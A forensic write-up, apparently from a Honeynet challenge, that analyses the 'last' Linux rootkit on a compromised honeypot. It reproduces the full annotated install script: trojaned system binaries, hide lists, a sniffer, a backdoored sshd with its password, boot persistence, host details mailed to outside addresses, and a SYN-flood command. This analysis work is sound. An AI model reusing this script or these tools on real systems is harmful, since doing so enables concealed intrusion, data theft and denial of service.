Change ownership of all the rootkit files in the 'last/' directory to user=root and group=root.
chown root.root *
A few checks for various binaries (make, gcc and sshd), only for feedback to the user who's running the script.
if [ -f /usr/bin/make ]; then
    echo "Are Make !"
else
    echo "Nu Are Make !"
fi
if [ -f /usr/bin/gcc ]; then
    echo "Are Gcc !"
else
    echo "Nu Are Gcc !"
fi
if [ -f /usr/sbin/sshd/ ]; then
    echo "Are Ssh !"
else 
    echo "Nu Are Ssh !"
fi
Install the trojan binaries: ifconfig, netstat, ps, top and mkxfs.
echo -n "* Inlocuim nestat ... alea alea "
rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/
echo "* Gata..."
echo
echo
Create the file /dev/rpm that should be used by the trojaned ps and top. touch'ing the file is redundant. The second line is all that is required to create the empty file...
touch /dev/rpm
>/dev/rpm
Add lines to the /dev/rpm configuration file that the trojaned ps and top should read, to hide these strings. The '3' means to hide these strings from all programs that have the string in their file name. eg: smurf will match smurf, smurfer, lilsmurf, etc.
echo "3 sl2" >>/dev/rpm
echo "3 sshdu" >>/dev/rpm
echo "3 linsniffer" >>/dev/rpm
echo "3 smurf" >>/dev/rpm
echo "3 slice" >>/dev/rpm
echo "3 mech" >>/dev/rp m
echo "3 muh" >>/dev/rpm
echo "3 bnc" >>/dev/rpm
echo "3 psybnc" >> /dev/rpm
Create the file /dev/last that should be used by the trojaned netstat to hide network connections.
touch /dev/last
>/dev/last

Add lines to the /dev/last configuration file that the trojaned netstat should read, to hide these network connections. According to the README in the lrk5, netstat's configuration file should work as:

netstat -       Modified to remove tcp/udp/sockets from or to specified
                addresses, uids and ports. The file is ROOTKIT_ADDRESS_FILE.
                default data file: /dev/ptyq
                type 0: hide uid
                type 1: hide local address
                type 2: hide remote address
                type 3: hide local port
                type 4: hide remote port
                type 5: hide UNIX socket path

                example:
                0 500           <- Hides all connections by uid 500
                1 128.31        <- Hides all local connections from 128.31.X.X
                2 128.31.39.20  <- Hides all remote connections to 128.31.39.20
                3 8000          <- Hides all local connections from port 8000
                4 6667          <- Hides all remote connections to port 6667
                5 .term/socket  <- Hides all UNIX sockets including the path 
                                   .term/socket

Option 1 denotes hiding local connections from 3 class C networks:

Doesn't make sense. Perhaps these remote networks are supposed to be hidden via option 2. .ro is Romania.
echo "1 193.231.139" >>/dev/last
echo "1 213.154.137" >>/dev/last
echo "1 193.254.34" >>/dev/last
echo "3 48744" >>/dev/last
echo "3 3666" >>/dev/last
echo "3 31221" >>/dev/last
echo "3 22546" >>/dev/last
echo "4 48744" >>/dev/last
echo "4 2222" >>/dev/last
echo "* Gata"
Make the two secret directories to store the parts of the rootkit. -p means 'no error if existing, make parent directories as needed'.
echo "* Facem Director...Si Mutam Alea.. "
mkdir -p /dev/ida/.drag-on
mkdir -p /dev/ida/".. "
Copy rootkit files to the above two directories.
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/".. "
Remove the files that were previously copied from the current directory.
rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
Create empty logging files for linsniffer to store it's output.
touch /dev/ida/.drag-on/tcp.log
touch /dev/ida/".. "/tcp.log
Forcefully copy these files to /etc and restart inetd, so it will read in the new conf files.
cp -f inetd.conf /etc
cp -f services /etc
killall -HUP inetd
echo 
echo
echo
Delete lsattr(1) - (list file attributes on a Linux second extended file system)
echo "* Adaugam In Startup:) ..."
rm -rf /usr/bin/lsattr
Append a line to rc.sysinit to run the trojan version of lsattr (shell script), so it will be executed upon bootup. The 3 options are just decoys to make it look ridgy-didge. The second line appends a newline to rc.sysinit.
echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit
echo >> /etc/rc.d/rc.sysinit
Copy the trojan version of lsattr to /usr/bin. Change permissions on lsattr.
cp -f lsattr /usr/bin/
chmod 500 /usr/bin/lsattr
Set the immutable attribute on lsattr. From manual page for chattr(1):
A file with the `i' attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file. Only the superuser can set or clear this attribute.
chattr +i /usr/bin/lsattr
Run the lsattr shell script, which starts the trojan version of mkxfs and linsniffer.
/usr/bin/lsattr
Sleep for a second.
sleep 1
Look for a cgi-bin directory of a web server. If found, move last.cgi into it. The first test would have succeeded according to Apache's conf file located at /etc/httpd/conf/httpd.conf. A snippet from the httpd.conf file shows the path to the cgi-bin directory.
#
# ScriptAlias: This controls which directories contain server scripts.
# ScriptAliases are essentially the same as Aliases, except that
# documents in the realname directory are treated as applications and
# run by the server when requested rather than as documents sent to the client.
# The same rules about trailing "/" apply to ScriptAlias directives as to
# Alias.
#
ScriptAlias /cgi-bin/ "/home/httpd/cgi-bin/"
The shell script that moves last.cgi into the above directory...
if [ -d /home/httpd/cgi-bin ]
then
mv -f last.cgi /home/httpd/cgi-bin/
fi

if [ -d /usr/local/httpd/cgi-bin ]
then
mv -f last.cgi /usr/local/httpd/cgi-bin/
fi

if [ -d /usr/local/apache/cgi-bin ]
then
mv -f last.cgi /usr/local/apache/cgi-bin/
fi

if [ -d /www/httpd/cgi-bin ]
then
mv -f last.cgi /www/httpd/cgi-bin/
fi

if [ -d /www/cgi-bin ]
then
mv -f last.cgi /www/cgi-bin/
fi
Compile information about the host just compromised and store the details in a file called 'computer'.
echo "* Luam Informatiile dorite ..."
echo "* Info : $(uname -a)" >> computer
echo "* Hostname : $(hostname -f)" >> computer
echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer
echo "* Uptime : $(uptime)" >> computer
echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer
echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer
echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer
echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer
echo "* Spatiu Liber: $(df -h)" >> computer
Mail the file 'computer' to [email protected] and [email protected]
echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat computer | mail -s "placinte" [email protected]
cat computer | mail -s "roote" [email protected]
Yada yada yada...
echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."
echo
echo
echo "* G A T A *"
echo
echo "* That Was Nice Last "
Forcefully remove the last directory that the rootkit was untarred into, the various possible names of the downloaded rootkit (lk.tgz & lk.tar.gz) and the 'computer' file, from the root partition.
cd /
rm -rf last lk.tgz computer lk.tar.gz

last/last.cgi

Not sure what this program actually accomplishes other than attempting to setuid and setgid to 0 (root), and print out a snippet of html. You can see from the following snippet from the output of strace(1), it does succeed at setting uid and gid to root, but it does nothing else other than print the html.
setuid32(0)                             = -1 ENOSYS (Function not implemented)
setuid(0)                               = 0
setgid(0)                               = 0




</dir>



) = 29
strings(1) shows some other html and a couple of other functions, but I haven't worked out how or if this code can be reached. I had a quick look at the a disassembly of it via objdump(1) and dasm.pl. I noticed a strcmp that looked like it was comparing the environment variable QUERY_STRING with "". There is a getenv("QUERY_STRING") call in there, but I'm not sure how to get it to reach that part of code.
/home/honeynet/scan15/grave/23/last # strings ./last.cgi 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
printf
getenv
pclose
malloc
popen
__deregister_frame_info
setgid
strcmp
fgetc
_IO_stdin_used
__libc_start_main
setuid
__register_frame_info
GLIBC_2.1
GLIBC_2.0
PTRh
QUERY_STRING
THIS COMMAND HAS NO OUTPUT
Content-type: text/html
This is available only local for httpd testing purposes
<html>
<head><title>%s</title></head>
<body bgcolor="#ffffff">
<dir><h1>%s</h1>
<ISINDEX prompt="Command to Execute: ">
<br><b>Command output:</b> [<em>%s</em>]
<br><pre>
</pre>
</dir>




last/linsniffer

This is LinSniffer 0.03 [BETA] by Mike Edulla. It sets interface eth0 to promiscuous mode and sniffs packets. It logs details of ftp, telnet, pop3, pop2, imap2, rlogin and poppasswd connections, to tcp.log.

Fingerprint attempt:
/home/honeynet/scan15/grave/23/last # /home/hack/md5/fingerprint.sh ./linsniffer 
-------------------------------------------------------------------------------
MD5 MATCH: ./linsniffer
-------------------------------------------------------------------------------
/home/hack/md5/rootkits.md5:6c0f96c1e43a23a21264f924ae732273  ./lrk3/linsniffer
This exact version of linsniffer appears in the Linux Rootkit V3.

last/logclear

logclear is used to clear linsniffer's logfile.

logclear stops linsniffer, removes it's log file (tcp.log), recreates an empty logfile and restarts linsniffer.
killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

last/lsattr

This shell script is used to start mkxfs and linsniffer.
#!/bin/sh
cd /dev/ida/.drag-on
./mkxfs -f ./s
./linsniffer >> ./tcp.log &
cd /

last/mkxfs

This is a trojan version of sshd. It listens on the standard ssh port, 22. You can ssh to this daemon as root with the password 'Frunza14'. I noticed 'Frunza14' whilst running strings(1) over mkxfs and thought that it looked like a password. I looked for some sort of username but couldn't see anything that jumped out at me. So, I tried connecting to the trojan sshd as root and password 'Frunza14', and it worked! (Bit of a fluke ;)
$ ssh localhost -l root
[email protected]'s password: Frunza14
Warning: Remote host denied X11 forwarding.
Last login: Tue May 22 07:30:47 2001
No mail.
# 

last/netstat

This is a trojaned version of netstat. It hides specific network connections listed in a configuration file that it reads upon each execution.

To determine the details of this trojaned netstat, first off, I'll run strings(1) over netstat to hopefully find some info about its origin.
/home/honeynet/scan15/grave/23/last # strings netstat |less
<snip>
Linux NET-3 Base Utilities
Source: net-tools 1.32-alpha [email protected] (Bernd Eckenfels)
Kernelsource: 2.0.35
netstat 1.19 (1996-05-17)
Fred Baumgarten  and Alan Cox.
<snip>

net-tools 1.32-alpha is common to the popular Linux RootKits (lrk). Specifically, netstat 1.19 (1996-05-17) is used in lrk3, lrk4, lrk4.1 and lrk5.

There is a couple of ways of determining (besides MD5 hashes, etc) if this version of netstat is trojaned.

One of the first things the trojaned version of netstat (from the lrks) will do is open it's configuration file that lists network connections to hide. This particular filename can be customised before compilation of netstat, hence it will/maybe/should be different depending on what the compilee set it to.

I like to execute these programs on a standalone test box, in an attempt to identify what they do.

I'll use strace(1) on it to identify what system calls netstat makes. I also grep for 'open' to identify what files netstat tries to open. (The 2>&1 redirects output to stderr to stdout. strace prints it's trace to stderr. I redirect it to stdout so I can grep it :)
# strace ./netstat 2>&1 | grep open
open("/etc/ld.so.cache", O_RDONLY)      = 3
open("/usr/lib/libc.so.5", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/lib/libc.so.5", O_RDONLY)        = 3
open("/dev/caca", O_RDONLY)             = -1 ENOENT (No such file or directory)
open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/proc/net/tcp", O_RDONLY)         = 3
open("/etc/nsswitch.conf", O_RDONLY)    = 3
open("/etc/hosts", O_RDONLY)            = 3
open("/etc/yp.conf", O_RDONLY)          = 3
open("/etc/resolv.conf", O_RDONLY)      = 3
open("/etc/hosts", O_RDONLY)            = 3
open("/etc/services", O_RDONLY)         = 3
open("/proc/net/udp", O_RDONLY)         = 3
open("/etc/hosts", O_RDONLY)            = 3
open("/etc/hosts", O_RDONLY)            = 3
open("/proc/net/raw", O_RDONLY)         = 3
open("/proc/net/unix", O_RDONLY)        = 3
open("/proc/net/ipx", O_RDONLY)         = -1 ENOENT (No such file or directory)

netstat tries to read it's configuration file from '/dev/caca', and fails. This is a little puzzling, because the install script created the netstat configuration file at '/dev/last'... The string 'last' doesn't exist in netstat, as the following command shows (or, really, doesn't show ;).

/home/honeynet/scan15/grave/23/last # strings ./netstat |grep last
/home/honeynet/scan15/grave/23/last # 
A check to see if /dev/caca exists shows it doesn't exist.
/home/honeynet/scan15 # ls -la mnt/dev/caca
ls: mnt/dev/caca: No such file or directory

As far as I can tell, the trojaned version isn't reading it's 'missing' configuration file.

If you haven't got a test box to blow up, you can search for the config file that netstat references (I usually do this anyway). You'll have to keep a keen eye out, and might have to investigate some of the odd files. Perform a strings(1) and grep for '/', hoping that the config file path has a '/' in it.
/home/honeynet/scan15/grave/23/last # strings ./netstat |grep /   
/lib/ld-linux.so.1
8"t/B8"t*B8"t%B
8!t/A8!t*A8!t%A
8"t/B8"t*B8"t%B
8&t/F8&t*F8&t%F
/dev/caca
/dev/route
read /dev/route
%s/%s 
/proc/net/tcp
off (0.00/%ld)
on (%2.2f/%ld)
unkn-%d (%2.2f/%ld)
[email protected]/proc/net/udp
off (0.00/%ld) %c
on (%2.2f/%ld) %c
unkn-%d (%2.2f/%ld) %c
[email protected]/proc/net/raw
[email protected]/proc/net/unix
(w/o servers)
/proc/net/ipx
/proc/net/ipx sport format error
/proc/net/ipx dport format error
/proc/net/dev
        -e, --extend             display other/more informations
MLCFA:acdehinNortuVv?wx/
/proc/net/ip_masquerade
/proc/net/route
/proc/net/rt_cache
lib/ipx_rt.c
/proc/net/ipx_route
Lastly, an optionally compiled in netstat 'option' allows the user to specify an option to unhide the hidden processes when it is executed. The trojaned option is '/', and you can see it appended to all the command line options, six lines from the bottom of the above strings(1) output. The option '/' is not a normal option of netstat. Searching for this option depends on whether it was compiled into the trojaned netstat.

last/pidfile

This file holds the process id of mkxfs.

last/ps

This is a trojan version of procps version 1.01, even though it reports a version of 2.0.7. It is found in lrk3, lrk4, lrk4.1 and lrk5. This particular binary tries to read it's configuration file from /dev/dsx (and fails), even though the install script created the configuration file for ps and top at /dev/rpm??

You can see during the execution of ps, that it fails to open the hard coded path to it's configuration file.
# strace ./ps 2>&1 |grep open

<snip>
open("/dev/dsx", O_RDONLY)              = -1 ENOENT (No such file or directory)
<snip>
A check to see if /dev/dsx exists shows it doesn't exist.
/home/honeynet/scan15 # ls -la mnt/dev/dsx
ls: mnt/dev/dsx: No such file or directory

As with netstat, this trojaned version of ps isn't reading it's 'missing' configuration file.


last/s

ssh server systemwide configuration file.

You can see references to ssh_host_key and ssh_random_seed in the hidden directory /dev/ida/.drag-on/.
HostKey /dev/ida/.drag-on/ssh_host_key
RandomSeed /dev/ida/.drag-on/ssh_random_seed
There is also a reference to a process id file in the directory /dev/ida/.inet/, yet the directory doesn't exist?
PidFile /dev/ida/.inet/pid
This particular configuration file sets sshd to listen on Port 5. It also disallows root to login, and permits empty passwords.

last/sense

Perl script that sorts the output from the tcp.log generated by linsniffer. It even references the exact version of linsniffer above.
#!/usr/bin/perl
# Sorts the output from LinSniffer 0.03 [BETA] by Mike Edulla <[email protected]>
<snip>

last/services

This is the hackers copy of services, which is forcefully copied over the top of /etc/services (via the install script). Looks fairly normal, apart from the ssh entry. I haven't seen an ssh entry like this before...

ssh		22/udp	        /usr/sbin/sshd	# SSH Remote Login Protocol
The format of a services file is:
# service-name  port/protocol  [aliases ...]   [# comment]

'/usr/sbin/sshd' doesn't really fit the usual format of an alias. Perhaps they we're getting this file confused with /etc/inetd.conf?


last/sl2

This is a DoS (Denial of Service) tool. It takes a source ip address, which will be some spoofed address (possibly random, or even the actual destination address), the destination (target) ip address, and a port range, set out by a low port to a high port.

From using strace(1), we can see that it gets the time of day, increments to the next port and fires off the packet to the target machine on that port.
<snip>
gettimeofday({990530456, 259952}, NULL) = 0
sendto(3, "E\0(\0\33.\0\0\36\6Y\345\300\250\1\2\300\250\1\1\37\351"..., 40, 0, {sin_family=AF_INET, sin_port=htons(227), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 260464}, NULL) = 0
sendto(3, "E\0(\0{c\0\0\36\6\371\257\300\250\1\2\300\250\1\1\314\3"..., 40, 0, {sin_family=AF_INET, sin_port=htons(228), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 260834}, NULL) = 0
sendto(3, "E\0(\0\344a\0\0\36\6\220\261\300\250\1\2\300\250\1\1\0"..., 40, 0, {sin_family=AF_INET, sin_port=htons(229), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 261809}, NULL) = 0
sendto(3, "E\0(\0\316\265\0\0\36\6\246]\300\250\1\2\300\250\1\1TE"..., 40, 0, {sin_family=AF_INET, sin_port=htons(230), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 262184}, NULL) = 0
sendto(3, "E\0(\0S\1\0\0\36\6\"\22\300\250\1\2\300\250\1\1\227\243"..., 40, 0, {sin_family=AF_INET, sin_port=htons(231), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 262704}, NULL) = 0
sendto(3, "E\0(\0D5\0\0\36\0060\336\300\250\1\2\300\250\1\1$T\0\350"..., 40, 0, {sin_family=AF_INET, sin_port=htons(232), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 268259}, NULL) = 0
sendto(3, "E\0(\0rB\0\0\36\6\2\321\300\250\1\2\300\250\1\1\276\237"..., 40, 0, {sin_family=AF_INET, sin_port=htons(233), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 268631}, NULL) = 0
sendto(3, "E\0(\0007y\0\0\36\6=\232\300\250\1\2\300\250\1\1\245\210"..., 40, 0, {sin_family=AF_INET, sin_port=htons(234), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 268996}, NULL) = 0
sendto(3, "E\0(\0003X\0\0\36\6A\273\300\250\1\2\300\250\1\1\261\257"..., 40, 0, {sin_family=AF_INET, sin_port=htons(235), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
gettimeofday({990530456, 269523}, NULL) = 0
sendto(3, "E\0(\0\241\35\0\0\36\6\323\365\300\250\1\2\300\250\1\1"..., 40, 0, {sin_family=AF_INET, sin_port=htons(236), sin_addr=inet_addr("192.168.1.10")}}, 16) = 40
<snip>

It continues this inside some sort of while(1) loop, cycling through the port range over and over. Needless to say, it brought one of my Redhat 6.0 boxes to it's knees instantly. I had top(1) running on the target box, and for a brief moment I noticed quite a few daemons that listen for incoming connections, all sitting between 12-19% cpu at once, and total cpu usage around 95%.

Capturing the packets during the sl2 flood shows that it is a SYN flood (Denoted by the S in **S*****). On the target host, I set the network interface card eth0 to promiscuous mode and ran snort to capture the packets. You can see:

/tmp # ifconfig eth0 promisc
/tmp # snort -vi eth0

Initializing Network Interface...
Decoding Ethernet on interface eth0

-*> Snort! <*-
Version 1.6
By Martin Roesch ([email protected], www.clark.net/~roesch)
05/24-22:30:34.223764 192.168.1.200:57287 -> 192.168.1.10:1
TCP TTL:30 TOS:0x0 ID:59977 
**S***** Seq: 0x344204AB   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:6040 -> 192.168.1.10:2
TCP TTL:30 TOS:0x0 ID:48990 
**S***** Seq: 0x496F7E59   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:19449 -> 192.168.1.10:3
TCP TTL:30 TOS:0x0 ID:53526 
**S***** Seq: 0x6D851F21   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:65427 -> 192.168.1.10:4
TCP TTL:30 TOS:0x0 ID:28650 
**S***** Seq: 0x2ABC4452   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:18610 -> 192.168.1.10:5
TCP TTL:30 TOS:0x0 ID:925 
**S***** Seq: 0x427FF2   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:63080 -> 192.168.1.10:6
TCP TTL:30 TOS:0x0 ID:7004 
**S***** Seq: 0x8EBD58F   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:39464 -> 192.168.1.10:7
TCP TTL:30 TOS:0x0 ID:27027 
**S***** Seq: 0x3EFD8A63   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:1720 -> 192.168.1.10:8
TCP TTL:30 TOS:0x0 ID:64521 
**S***** Seq: 0x432248F6   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:57628 -> 192.168.1.10:9
TCP TTL:30 TOS:0x0 ID:12777 
**S***** Seq: 0x229E567   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:8808 -> 192.168.1.10:10
TCP TTL:30 TOS:0x0 ID:23137 
**S***** Seq: 0x125047FF   Ack: 0x0   Win: 0xFFFF

05/24-22:30:34.223764 192.168.1.200:3249 -> 192.168.1.10:11
TCP TTL:30 TOS:0x0 ID:54411 
**S***** Seq: 0x173127C6   Ack: 0x0   Win: 0xFFFF

<snip>
A hunt around on the web for SYN flooders and I find (amongst others) synk4.c. synk4 is identical in functionality to sl2 albeit for a few extra strings. This is the usage of sl2:
 ./sl2  
Usage: ./sl2 srcaddr dstaddr low high
    If srcaddr is 0, random addresses will be used
This was the command I ran, targeting 192.168.1.10 with ports ranging from 1 to 500 and spoofed source IP of 192.168.1.200:
# ./sl2 192.168.1.200 192.168.1.10 1 500

As a side note, running this command chewed nearly 100% of my cpu as well.


last/ssh

Looks like a normal ssh client. Doesn't have any strange files open during execution that I viewed when running lsof(1). No strange strings from strings(1).
$ ./ssh -V
SSH Version 1.2.30 [i586-unknown-linux], protocol version 1.5.
Standard version.  Does not use RSAREF.

last/ssh_config

ssh client systemwide configuration file.

This is the same file that's normally located at /etc/ssh/ssh_config. This particular file has everything commented out.

last/sshd_config

ssh server systemwide configuration file.

Here is another sshd config file, although a little different from the one encountered above. This particular configuration file sets sshd to listen on Port 22. It also allows root to login, and permits empty passwords.

last/ssh_host_key
last/ssh_host_key.pub
last/ssh_random_seed

More ssh related files.

last/top

This is a trojan version of procps version 1.01, top. It is found in lrk3, lrk4, lrk4.1 and lrk5. When executed it will hide the strings listed in /dev/dsk from the output. As with ps above, this particular binary tries to read it's configuration file from /dev/dsx (and fails), even though the install script created the configuration file for ps and top at /dev/rpm??

home/honeynet/scan15/grave/23/last # strings ./top |grep /
<snip>
/dev/dsx
<snip>

10. Details of recovered dead files

I create md5sum values of every file in the rootkit, and the use my fingerprinting shell script to attempt to identify which recovered dead files are which.
/home/honeynet/scan15/grave/recovered_deadfiles # /home/hack/md5/fingerprint.sh *
-------------------------------------------------------------------------------
MD5 MATCH: 2039
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:21ed3ca31a9c9b51a757f1644e26f2f7  ssh

-------------------------------------------------------------------------------
MD5 MATCH: 2040
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:68b329da9893e34099c7d8ad5cb9c940  pidfile

-------------------------------------------------------------------------------
MD5 MATCH: 2041
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:964db5da8cf89810a54659b6fdb81958  install

-------------------------------------------------------------------------------
MD5 MATCH: 2043
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:12e8748c19abe7a44e67196c22738e9b  cleaner
/home/hack/md5/rootkits.md5:12e8748c19abe7a44e67196c22738e9b  ./tornkit/t0rnsb

-------------------------------------------------------------------------------
MD5 MATCH: 2044
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:b63485e42035328c0d900a71ff2e6bd7  inetd.conf

-------------------------------------------------------------------------------
MD5 MATCH: 2045
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:dfb2eeea2a5ba23eb6a2b9d0cff9d82f  lsattr

-------------------------------------------------------------------------------
MD5 MATCH: 2046
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:54e41f035e026f439d4188759b210f07  services

-------------------------------------------------------------------------------
MD5 MATCH: 2047
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:464dc23cac477c43418eb8d3ef087065  sense

-------------------------------------------------------------------------------
MD5 MATCH: 2048
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:5fd2ce512e0eba4d090191e8a1518808  ssh_config

-------------------------------------------------------------------------------
MD5 MATCH: 2049
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:c2c1b08498ed71a908c581d634832672  ssh_host_key

-------------------------------------------------------------------------------
MD5 MATCH: 2050
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:e76cd5baaab7b4f28c999946a9cb4dcc  ssh_host_key.pub

-------------------------------------------------------------------------------
MD5 MATCH: 2051
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:ad265d3c07dea3151bacb6930e0b72d3  ssh_random_seed

-------------------------------------------------------------------------------
MD5 MATCH: 2052
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:312de877e5180678cd54606e1c25af40  sshd_config

-------------------------------------------------------------------------------
MD5 MATCH: 2053
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:4cfae8c44a6d1ede669d41fc320c7325  sl2

-------------------------------------------------------------------------------
MD5 MATCH: 2054
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:202a51b16ac8d1b4dc75de89e7344ed4  last.cgi

-------------------------------------------------------------------------------
MD5 MATCH: 2058
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:8ff0939cd49a0b2ef3156c7876afca4b  top

-------------------------------------------------------------------------------
MD5 MATCH: 2059
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:5f22ceb87631fbcbf32e59234feeaa5b  logclear

-------------------------------------------------------------------------------
MD5 MATCH: 2060
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:06d04fa3c4941b398756d029de75770e  s

-------------------------------------------------------------------------------
MD5 MATCH: 2061
-------------------------------------------------------------------------------
/home/hack/md5/last_rootkit.md5:18a2d7d3178f321b881e7c493af72996  mkxfs

-------------------------------------------------------------------------------
MD5 MATCH: 30188
-------------------------------------------------------------------------------
/home/hack/md5/rh62server.md5:f174e862d00d0998c3fa4ccd632019b5  /bin/netstat

-------------------------------------------------------------------------------
MD5 MATCH: 30191
-------------------------------------------------------------------------------
/home/hack/md5/rh62server.md5:5e1725f2734365fef9e55398785f3033  /bin/ps

-------------------------------------------------------------------------------
MD5 MATCH: 48284
-------------------------------------------------------------------------------
/home/hack/md5/rh62server.md5:b52af438845c776cde94f67e19cd037a  /sbin/ifconfig

-------------------------------------------------------------------------------
FILES WITH NO MD5 MATCH:
-------------------------------------------------------------------------------
16110
2042
23
56231
8100

You'll notice that the last 3 matches are the original binaries from Redhat 6.2. These we're deleted and replaced with trojaned versions from the rootkit during the install.

11. Files with no MD5 match

16110

#%PAM-1.0
auth       required	/lib/security/pam_pwdb.so shadow nullok
account    required	/lib/security/pam_pwdb.so
password   required	/lib/security/pam_cracklib.so retry=3
password   required	/lib/security/pam_pwdb.so use_authtok nullok

2042

Corrupt executable...
/home/honeynet/scan15/grave/recovered_deadfiles # strings 2042
/lib/ld-linux.so.1

# strace ./2042
execve("./2042", ["./2042"], [/* 52 vars */]) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
mprotect(0x40000000, 21420, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=31151, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
old_mmap(NULL, 31151, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3)                                = 0
stat("/etc/ld.so.preload", 0xbffff6c0)  = -1 ENOENT (No such file or directory)
munmap(0x40008000, 31151)               = 0
--- SIGFPE (Floating point exception) ---
+++ killed by SIGFPE +++

# ./2042
Floating point exception (core dumped)

23

This is the original rootkit file. Probably named lk.tgz or lk.tar.gz

56231

Not sure... Nothing in particular. Just a file with 1 character in it repeated.
/home/honeynet/scan15/grave/recovered_deadfiles # file 56231 
56231: ASCII text
/home/honeynet/scan15/grave/recovered_deadfiles # wc 56231
      0       1   33135 56231

8100

Looks like the output of 'man -k ...'
chage                (1)  - change user password expiry information
gpasswd              (1)  - administer the /etc/group file
mktemp               (1)  - make temporary file name (unique)
bash                 (1)  - GNU Bourne-Again SHell
bash [sh]            (1)  - GNU Bourne-Again SHell
last                 (1)  - show listing of last logged in users
lastb [last]         (1)  - show listing of last logged in users
mesg                 (1)  - control write access to your terminal
captoinfo            (1m)  - convert a termcap description into a terminfo description
clear                (1)  - clear the terminal screen

12. Recovering missing 'computer' file

The above recovery methods didn't yield the 'computer' file that was emailed to the two email addresses in the install script. I'm going to use another (much slower) method to try and recover the missing file.

Again, I'll use tools from The Coroner's Toolkit (TCT). This time I'll be using: First, I'll prepare some directories...
/home/honeynet/scan15 # mkdir unrm
/home/honeynet/scan15 # cd unrm/
/home/honeynet/scan15/unrm # mkdir html_output
/home/honeynet/scan15/unrm # mkdir data_blocks
Use unrm to copy unallocated data blocks only, from the honeypot root image. The output is ~230Mb in size.
/home/honeynet/scan15/unrm # unrm ../honeynet/honeypot.hda8.dd > unrm_output
Now run lazarus to bring back files/structures from the dead. Note: This takes about 2 hours to run!
/home/honeynet/scan15/unrm # lazarus -H . -w html_output/ -h -D data_blocks/ unrm_output

The above command generates an HTML map of the recovered data. You access it by opening unrm_output.frame.html in a browser. It is split into two frames. One at the top is a menu/legend of the different types of data recovered, and the main frame is a map of the data recovered. You just click on any of the links in the map frame to view the contents of that block recovered.

Finally! :) Here's the map output (and legend) from lazarus.
A = archive C = C code E = ELF f = sniffers H = HTML I = image/pix L = logs
M = mail O = null P = programs Q = mailq R = removed S = lisp T = text
U = uuencoded W = password file X = exe Z = compressed . = binary ! = sound

........XxxxxxxxXxxxxxxxxxxxxXxxxx!!!!!!!!!!!!!!!!!T....Tt....T.........XxxxxxT
